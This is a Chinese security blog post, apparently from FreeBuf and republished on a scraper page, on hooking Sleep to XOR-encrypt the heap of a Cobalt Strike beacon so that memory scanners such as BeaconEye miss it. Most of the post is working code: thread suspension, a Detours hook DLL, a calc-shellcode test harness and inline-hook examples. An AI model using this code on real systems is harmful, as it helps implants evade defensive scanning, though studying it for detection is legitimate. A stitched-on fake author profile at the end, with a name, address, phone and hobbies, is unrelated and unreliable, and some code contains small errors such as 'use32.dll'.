浅谈hook sleep进行堆加密 - FreeBuf网络安全行业门户 (2024)

Table of Contents
前记 实现过程 后记 reference

前记

原理

CS在高版本中推出了sleep mask功能,即在beacon sleep时对堆进行加密混淆,绕过内存扫描,在恢复运行前还原,防止进程崩溃。beacon每次运行的时间远短于sleep时间,内存扫描也就很难发现内存中C2Profile特征,进而实现了绕过。

思路如下

在堆加密之前把当前进程的所有线程都挂起来,不然如果其他线程访问堆而堆是乱码。同样的,在挂起线程时,当前线程是不能挂起的,不然就全部挂起当场死锁了,当前线程需要进sleep挂起然后sleep结束恢复。

static PROCESS_HEAP_ENTRY entry;VOID HeapEncryptDecrypt() { SecureZeroMemory(&entry, sizeof(entry)); while (HeapWalk(currentHeap, &entry)) { if ((entry.wFlags & PROCESS_HEAP_ENTRY_BUSY) != 0) { XORFunction(key, keySize, (char*)(entry.lpData), entry.cbData); } }}static void(WINAPI* OrigianlSleepFunction)(DWORD dwMiliseconds);void WINAPI HookedSleepFunction(DWORD dwMiliseconds) { DoSuspendThreads(GetCurrentProcessId(), GetCurrentThreadId()); HeapEncryptDecrypt(); OriginalSleepFunction(dwMiliseconds); HeapEncryptDecrypt(); DoResumeThreads(GetCurrentProcessId(), GetCurrentThreadId());} void main(){ DoSuspendThreads(GetCurrentProcessId(), GetCurrentThreadId()); Hook("kernel32.dll", "Sleep", (LPVOID)HookedSleepFunction, (FARPROC*)&OriginalSleepFunction, true); if (!OldAlloc) { MessageBoxA(NULL, "Hooking RtlAllocateHeap failed.", "Status", NULL); } DoResumeThreads(GetCurrentProcessId(), GetCurrentThreadId()); // Sleep is now hooked}

堆加密实现

static PROCESS_HEAP_ENTRY entry;VOID HeapEncryptDecrypt() { SecureZeroMemory(&entry, sizeof(entry)); while (HeapWalk(currentHeap, &entry)) { if ((entry.wFlags & PROCESS_HEAP_ENTRY_BUSY) != 0) { XORFunction(key, keySize, (char*)(entry.lpData), entry.cbData); } }}

实现过程

先浅析代码

if (Thread32First(h, &te)) { do { if (te.dwSize >= FIELD_OFFSET(THREADENTRY32, th32OwnerProcessID) + sizeof(te.th32OwnerProcessID)) { // Suspend all threads EXCEPT the one we want to keep running if (te.th32ThreadID != targetThreadId && te.th32OwnerProcessID == targetProcessId) { HANDLE thread = ::OpenThread(THREAD_ALL_ACCESS, FALSE, te.th32ThreadID); if (thread != NULL) { SuspendThread(thread); CloseHandle(thread); } } } te.dwSize = sizeof(te); } while (Thread32Next(h, &te)); }

这个检查偏移量加上进程pid大小是因为有一个历史原因。在较旧的 Windows 版本中,Thread32FirstThread32Next函数默认情况下只填充THREADENTRY32结构体中包含有限的信息,这些信息不包括th32OwnerProcessID成员。该代码确保检索到的THREADENTRY32结构体实际上包含th32OwnerProcessID信息。这里把除自己之外的其他线程全部挂起。

void WINAPI HookedSleep(DWORD dwMiliseconds) { DWORD time = dwMiliseconds; if (time > 1000) { DoSuspendThreads(GetCurrentProcessId(), GetCurrentThreadId()); HeapEncryptDecrypt(); OldSleep(dwMiliseconds); HeapEncryptDecrypt(); DoResumeThreads(GetCurrentProcessId(), GetCurrentThreadId()); } else { OldSleep(time); }}

这里判断睡眠时间大于一秒就挂起其余线程,堆加密并睡眠,睡眠结束后解密再恢复所有线程

用BeaconEye扫描未slepp的cs进程内存发现内存中存在beacon,设置sleep后BeaconEye未能检测出beacon

浅谈hook sleep进行堆加密 - FreeBuf网络安全行业门户 (1)

这里自己写个c测试

#include <windows.h>#include<stdio.h>void like() { //calc shellcode unsigned char rawData[276] = { 0xFC, 0x48, 0x83, 0xE4, 0xF0, 0xE8, 0xC0, 0x00, 0x00, 0x00, 0x41, 0x51, 0x41, 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xD2, 0x65, 0x48, 0x8B, 0x52, 0x60, 0x48, 0x8B, 0x52, 0x18, 0x48, 0x8B, 0x52, 0x20, 0x48, 0x8B, 0x72, 0x50, 0x48, 0x0F, 0xB7, 0x4A, 0x4A, 0x4D, 0x31, 0xC9, 0x48, 0x31, 0xC0, 0xAC, 0x3C, 0x61, 0x7C, 0x02, 0x2C, 0x20, 0x41, 0xC1, 0xC9, 0x0D, 0x41, 0x01, 0xC1, 0xE2, 0xED, 0x52, 0x41, 0x51, 0x48, 0x8B, 0x52, 0x20, 0x8B, 0x42, 0x3C, 0x48, 0x01, 0xD0, 0x8B, 0x80, 0x88, 0x00, 0x00, 0x00, 0x48, 0x85, 0xC0, 0x74, 0x67, 0x48, 0x01, 0xD0, 0x50, 0x8B, 0x48, 0x18, 0x44, 0x8B, 0x40, 0x20, 0x49, 0x01, 0xD0, 0xE3, 0x56, 0x48, 0xFF, 0xC9, 0x41, 0x8B, 0x34, 0x88, 0x48, 0x01, 0xD6, 0x4D, 0x31, 0xC9, 0x48, 0x31, 0xC0, 0xAC, 0x41, 0xC1, 0xC9, 0x0D, 0x41, 0x01, 0xC1, 0x38, 0xE0, 0x75, 0xF1, 0x4C, 0x03, 0x4C, 0x24, 0x08, 0x45, 0x39, 0xD1, 0x75, 0xD8, 0x58, 0x44, 0x8B, 0x40, 0x24, 0x49, 0x01, 0xD0, 0x66, 0x41, 0x8B, 0x0C, 0x48, 0x44, 0x8B, 0x40, 0x1C, 0x49, 0x01, 0xD0, 0x41, 0x8B, 0x04, 0x88, 0x48, 0x01, 0xD0, 0x41, 0x58, 0x41, 0x58, 0x5E, 0x59, 0x5A, 0x41, 0x58, 0x41, 0x59, 0x41, 0x5A, 0x48, 0x83, 0xEC, 0x20, 0x41, 0x52, 0xFF, 0xE0, 0x58, 0x41, 0x59, 0x5A, 0x48, 0x8B, 0x12, 0xE9, 0x57, 0xFF, 0xFF, 0xFF, 0x5D, 0x48, 0xBA, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8D, 0x8D, 0x01, 0x01, 0x00, 0x00, 0x41, 0xBA, 0x31, 0x8B, 0x6F, 0x87, 0xFF, 0xD5, 0xBB, 0xF0, 0xB5, 0xA2, 0x56, 0x41, 0xBA, 0xA6, 0x95, 0xBD, 0x9D, 0xFF, 0xD5, 0x48, 0x83, 0xC4, 0x28, 0x3C, 0x06, 0x7C, 0x0A, 0x80, 0xFB, 0xE0, 0x75, 0x05, 0xBB, 0x47, 0x13, 0x72, 0x6F, 0x6A, 0x00, 0x59, 0x41, 0x89, 0xDA, 0xFF, 0xD5, 0x63, 0x61, 0x6C, 0x63, 0x2E, 0x65, 0x78, 0x65, 0x00 }; LPVOID Alloc =(LPVOID) HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, sizeof(rawData)); if (Alloc == NULL) { // 分配内存失败 printf("Error allocating memory\n"); HeapFree(GetProcessHeap(), 0, Alloc); return; } memcpy(Alloc, rawData, sizeof(rawData)); while (1) { printf("%x\n", Alloc); Sleep(5000); } HeapFree(GetProcessHeap(), 0, Alloc); return;}int main() { like();}
// dllmain.cpp : 定义 DLL 应用程序的入口点。#include "pch.h"#include<stdlib.h>#include<iostream>#include<windows.h>#include<detours.h>#include "Encrypt.h"#include "SuspendThreads.h"using namespace std;auto pf = Sleep;// Encryption Keyconst char key[6] = "ACDEf";size_t keySize = sizeof(key);PROCESS_HEAP_ENTRY entry;void HeapEncryptDecrypt() { SecureZeroMemory(&entry, sizeof(entry)); while (HeapWalk(GetProcessHeap(), &entry)) { if ((entry.wFlags & PROCESS_HEAP_ENTRY_BUSY) != 0) { xor_bidirectional_encode(key, keySize, (char*)(entry.lpData), entry.cbData); } }}//Hooked Sleepvoid WINAPI HookedSleep(DWORD dwMiliseconds) { DWORD time = dwMiliseconds; if (time > 1000) { DoSuspendThreads(GetCurrentProcessId(), GetCurrentThreadId()); HeapEncryptDecrypt(); pf(time); HeapEncryptDecrypt(); DoResumeThreads(GetCurrentProcessId(), GetCurrentThreadId()); } else { pf(time); }}int main(){ DetourTransactionBegin(); DetourUpdateThread(GetCurrentThread()); DetourAttach(&pf, HookedSleep); DetourTransactionCommit();}EXTERN_C __declspec(dllexport) void test(){}BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved){ switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: main(); case DLL_THREAD_ATTACH: case DLL_THREAD_DETACH: case DLL_PROCESS_DETACH: break; } return TRUE;}

这里加密用异或,所以加解密使用同一个函数

//Encrypt.h#pragma oncevoid xor_bidirectional_encode(const char* key, const size_t keyLength, char* buffer, const size_t length) { for (size_t i = 0; i < length; ++i) { buffer[i] ^= key[i % keyLength]; }}
#pragma once#include <Windows.h>#include <TlHelp32.h>// Pass 0 as the targetProcessId to suspend threads in the current processvoid DoSuspendThreads(DWORD targetProcessId, DWORD targetThreadId){ HANDLE h = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0); if (h != INVALID_HANDLE_VALUE) { THREADENTRY32 te; te.dwSize = sizeof(te); if (Thread32First(h, &te)) { do { if (te.dwSize >= FIELD_OFFSET(THREADENTRY32, th32OwnerProcessID) + sizeof(te.th32OwnerProcessID)) { // Suspend all threads EXCEPT the one we want to keep running if (te.th32ThreadID != targetThreadId && te.th32OwnerProcessID == targetProcessId) { HANDLE thread = ::OpenThread(THREAD_ALL_ACCESS, FALSE, te.th32ThreadID); if (thread != NULL) { SuspendThread(thread); CloseHandle(thread); } } } te.dwSize = sizeof(te); } while (Thread32Next(h, &te)); } CloseHandle(h); }}void DoResumeThreads(DWORD targetProcessId, DWORD targetThreadId){ HANDLE h = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0); if (h != INVALID_HANDLE_VALUE) { THREADENTRY32 te; te.dwSize = sizeof(te); if (Thread32First(h, &te)) { do { if (te.dwSize >= FIELD_OFFSET(THREADENTRY32, th32OwnerProcessID) + sizeof(te.th32OwnerProcessID)) { // Suspend all threads EXCEPT the one we want to keep running if (te.th32ThreadID != targetThreadId && te.th32OwnerProcessID == targetProcessId) { HANDLE thread = ::OpenThread(THREAD_ALL_ACCESS, FALSE, te.th32ThreadID); if (thread != NULL) { ResumeThread(thread); CloseHandle(thread); } } } te.dwSize = sizeof(te); } while (Thread32Next(h, &te)); } CloseHandle(h); }}

可以明显看到堆内存在sleep和被唤醒时不断的解密和加密

浅谈hook sleep进行堆加密 - FreeBuf网络安全行业门户 (2)

浅谈hook sleep进行堆加密 - FreeBuf网络安全行业门户 (3)

后记

Detour

环境搭建

disasm.cpp:#pragma data_seg(".code1")#pragma const_seg(".code2")x64 Native Tools Command Prompt for VS 2022nmake
设置$(SolutionDir)VC++目录两处,链接器常规、输入各一处

hook格式

#include<iostream>#include<windows.h>#include<detours.h>using namespace std;auto pf = MessageBoxA;int WINAPI hookfunc(_In_opt_ HWND hWnd,_In_opt_ LPCSTR lpText,_In_opt_ LPCSTR lpCaption,_In_ UINT uType) {printf("coleak");return pf(hWnd,lpText,lpCaption,uType);//return 0;}int main(){DetourTransactionBegin();DetourUpdateThread(GetCurrentThread());DetourAttach(&pf, hookfunc);DetourTransactionCommit();MessageBoxA(0, 0, 0, 0);//unhookDetourTransactionBegin();DetourUpdateThread(GetCurrentThread());DetourDetach(&pf, hookfunc);DetourTransactionCommit();MessageBoxA(0, "cc", "dd", 0);return 0;}

minhook

MH_STATUS WINAPI MH_CreateHook(LPVOID pTarget, LPVOID pDetour, LPVOID *ppOriginal);MH_STATUS WINAPI MH_CreateHookApi(LPCWSTR pszModule, LPCSTR pszProcName, LPVOID pDetour, LPVOID *ppOriginal);void SetHook(){if (MH_Initialize() == MB_OK){MH_CreateHook(&MessageBoxA, &MyMessageBoxA, reinterpret_cast<void**>(&fpMessageBoxA));MH_EnableHook(&MessageBoxA);}}void UnHook(){if (MH_DisableHook(&MessageBoxA) == MB_OK){MH_Uninitialize();}}

或者

template <typename T>inline MH_STATUS MH_CreateHookEx(LPVOID pTarget, LPVOID pDetour, T** ppOriginal){ return MH_CreateHook(pTarget, pDetour, reinterpret_cast<LPVOID*>(ppOriginal));}template <typename T>inline MH_STATUS MH_CreateHookApiEx( LPCWSTR pszModule, LPCSTR pszProcName, LPVOID pDetour, T** ppOriginal){ return MH_CreateHookApi( pszModule, pszProcName, pDetour, reinterpret_cast<LPVOID*>(ppOriginal));}

inline hook

实现流程

  • 获取需要挂钩的函数地址

  • 修改函数代码跳转到我们自己写的新函数,即hook

  • unhook

  • 调用恢复的原函数

  • 重新设置hook

x86

//\x68就是push,\xc3就是ret,然后32位的程序,地址刚好4字节#include <iostream>#include <Windows.h>FARPROC messageBoxAddress = NULL;SIZE_T bytesWritten = 0;char messageBoxOriginalBytes[6] = {};int __stdcall HookedMessageBox(HWND hWnd, LPCSTR lpText, LPCSTR lpCaption, UINT uType) { // print intercepted values from the MessageBoxA function std::cout << "Ohai from the hooked function\n"; std::cout << "Text: " << (LPCSTR)lpText << "\nCaption: " << (LPCSTR)lpCaption << std::endl; // unpatch MessageBoxA WriteProcessMemory(GetCurrentProcess(), (LPVOID)messageBoxAddress, messageBoxOriginalBytes, sizeof(messageBoxOriginalBytes), &bytesWritten); // call the original MessageBoxA return MessageBoxA(NULL, lpText, lpCaption, uType);}int main(){ // show messagebox before hooking MessageBoxA(NULL, "hi", "hi", MB_OK); HINSTANCE library = LoadLibraryA("use32.dll"); SIZE_T bytesRead = 0; // get address of the MessageBox function in memory messageBoxAddress = GetProcAddress(library, "MessageBoxA"); // save the first 6 bytes of the original MessageBoxA function - will need for unhooking ReadProcessMemory(GetCurrentProcess(), messageBoxAddress, messageBoxOriginalBytes, 6, &bytesRead); //8b ff 55 8b ec 83 // create a patch "push <address of new MessageBoxA); ret" void* hookedMessageBoxAddress = &ampHookedMessageBox; char patch[6] = { 0 }; memcpy_s(patch, 1, "\x68", 1); memcpy_s(patch + 1, 4, &hookedMessageBoxAddress, 4); memcpy_s(patch + 5, 1, "\xC3", 1); // patch the MessageBoxA WriteProcessMemory(GetCurrentProcess(), (LPVOID)messageBoxAddress, patch, sizeof(patch), &bytesWritten); // show messagebox after hooking MessageBoxA(NULL, "hi", "hi", MB_OK); return 0;}

x64

//mov rax xxxxxxx,push rax,ret#include <iostream>#include <Windows.h>FARPROC messageBoxAddress = NULL;SIZE_T bytesWritten = 0;BYTE OldCode[12] = { 0x00 };BYTE HookCode[12] = { 0x48, 0xB8, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0xFF, 0xE0 };int __stdcall HookedMessageBox(HWND hWnd, LPCSTR lpText, LPCSTR lpCaption, UINT uType) { // print intercepted values from the MessageBoxA function std::cout << "Ohai from the hooked function\n"; std::cout << "Text: " << (LPCSTR)lpText << "\nCaption: " << (LPCSTR)lpCaption << std::endl; // unpatch MessageBoxA WriteProcessMemory(GetCurrentProcess(), (LPVOID)messageBoxAddress, OldCode, sizeof(OldCode), &bytesWritten); // call the original MessageBoxA return MessageBoxA(NULL, lpText, lpCaption, uType);}int main(){ // show messagebox before hooking MessageBoxA(NULL, "hi", "hi", MB_OK); HINSTANCE library = LoadLibraryA("use32.dll"); SIZE_T bytesRead = 0; // get address of the MessageBox function in memory messageBoxAddress = GetProcAddress(library, "MessageBoxA"); // save the first 6 bytes of the original MessageBoxA function - will need for unhooking ReadProcessMemory(GetCurrentProcess(), messageBoxAddress, OldCode, 12, &bytesRead); // create a patch "push <address of new MessageBoxA); ret" void* hookedMessageBoxAddress = &ampHookedMessageBox; *(PINT64)(HookCode + 2) = (UINT64)HookedMessageBox; // patch the MessageBoxA WriteProcessMemory(GetCurrentProcess(), (LPVOID)messageBoxAddress, HookCode, sizeof(HookCode), &bytesWritten); // show messagebox after hooking MessageBoxA(NULL, "hi", "hi", MB_OK); return 0;}

dll版本

#include <stdio.h>#include <Windows.h>BYTE OldCode[12] = { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 };BYTE HookCode[12] = { 0x48, 0xB8, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0xFF, 0xE0 };void Hook(LPCWSTR lpModule, LPCSTR lpFuncName, LPVOID lpFunction){DWORD_PTR FuncAddress = (UINT64)GetProcAddress(GetModuleHandle(lpModule), lpFuncName);DWORD OldProtect = 0;if (VirtualProtect((LPVOID)FuncAddress, 12, PAGE_EXECUTE_READWRITE, &OldProtect)){memcpy(OldCode, (LPVOID)FuncAddress, 12); // 拷贝原始机器码指令*(PINT64)(HookCode + 2) = (UINT64)lpFunction; // 填充90为指定跳转地址}memcpy((LPVOID)FuncAddress, &HookCode, sizeof(HookCode)); // 拷贝Hook机器指令VirtualProtect((LPVOID)FuncAddress, 12, OldProtect, &OldProtect);}void UnHook(LPCWSTR lpModule, LPCSTR lpFuncName){DWORD OldProtect = 0;UINT64 FuncAddress = (UINT64)GetProcAddress(GetModuleHandle(lpModule), lpFuncName);if (VirtualProtect((LPVOID)FuncAddress, 12, PAGE_EXECUTE_READWRITE, &OldProtect)){memcpy((LPVOID)FuncAddress, OldCode, sizeof(OldCode));}VirtualProtect((LPVOID)FuncAddress, 12, OldProtect, &OldProtect);}int WINAPI MyMessageBoxW(HWND hWnd, LPCTSTR lpText, LPCTSTR lpCaption, UINT uType){// 首先恢复Hook代码UnHook(L"use32.dll", "MessageBoxW");int ret = MessageBoxW(0, L"hello lyshark", lpCaption, uType);// 调用结束后,再次挂钩Hook(L"use32.dll", "MessageBoxW", (PROC)MyMessageBoxW);return ret;}bool APIENTRY DllMain(HANDLE handle, DWORD dword, LPVOID lpvoid){switch (dword){case DLL_PROCESS_ATTACH:Hook(L"use32.dll", "MessageBoxW", (PROC)MyMessageBoxW);break;case DLL_PROCESS_DETACH:UnHook(L"use32.dll", "MessageBoxW");break;}return true;}

常识速记

线程挂起

SuspendThreads和TerminateThread都是往目标线程里面插APC,在APC中对线程实现挂起/终止。然后发起一个中断去触发APC,如果线程本身在用户态接受中断就立刻执行APC,如果在内核态,就可能忽略中断,等从内核态出来再处理APC

堆栈区别

简单来说,栈是用于存储函数中局部数据的,函数执行完后栈上的数据会被清除。这意味着在函数运行期间存储在栈上的数据,在函数返回并完成时会被释放。对于那些你需要长期保存的变量来说,这显然不是一个好的选择。

而堆则是一种更长期的存储解决方案。堆上的分配会一直保留在堆上,直到你的代码手动释放它们为止。但是,如果你不断地将数据分配到堆上而从未释放任何内容,则会导致内存泄漏。

xdbg内存属性

  • 可读 (R): 允许读取内存中的数据。

  • 可写 (W): 允许写入内存中的数据。

  • 可执行 (E): 允许执行内存中的代码。

  • 复制 (C): 允许将内存中的数据复制到其他进程。

  • 守卫 (G): 防止内存中的数据被修改。

堆获取

GetProcessHeap用来获取默认堆而不能获取用户自己分配的堆(为了建议用户自己管理自己的堆而不被别人影响),而HeapWalk可以枚举指定堆中的内存块(虽然回收后堆空间存在碎片,但堆分配的空间在逻辑地址上是连续的,而在物理地址上是不连续的,因为采用了页式内存管理)。

reference

https://blog.z3ratu1.top/%E5%A0%86%E5%8A%A0%E5%AF%86%E6%8A%80%E6%9C%AF%E6%8A%84%E5%86%99.htmlhttps://xz.aliyun.com/t/9166?time__1311=n4%2BxuDgD9DyDnDfhD1D%2FD0WojowpItWeD&alichlgref=https%3A%2F%2Fwww.bing.com%2Fhttps://www.cnblogs.com/LyShark/p/13653394.htmlhttps://www.arashparsa.com/hook-heaps-and-live-free/#considerationshttps://github.com/TsudaKageyu/minhook
浅谈hook sleep进行堆加密 - FreeBuf网络安全行业门户 (2024)
Top Articles
Latest Posts
Article information

Author: Ms. Lucile Johns

Last Updated:

Views: 6043

Rating: 4 / 5 (61 voted)

Reviews: 84% of readers found this page helpful

Author information

Name: Ms. Lucile Johns

Birthday: 1999-11-16

Address: Suite 237 56046 Walsh Coves, West Enid, VT 46557

Phone: +59115435987187

Job: Education Supervisor

Hobby: Genealogy, Stone skipping, Skydiving, Nordic skating, Couponing, Coloring, Gardening

Introduction: My name is Ms. Lucile Johns, I am a successful, friendly, friendly, homely, adventurous, handsome, delightful person who loves writing and wants to share my knowledge and understanding with you.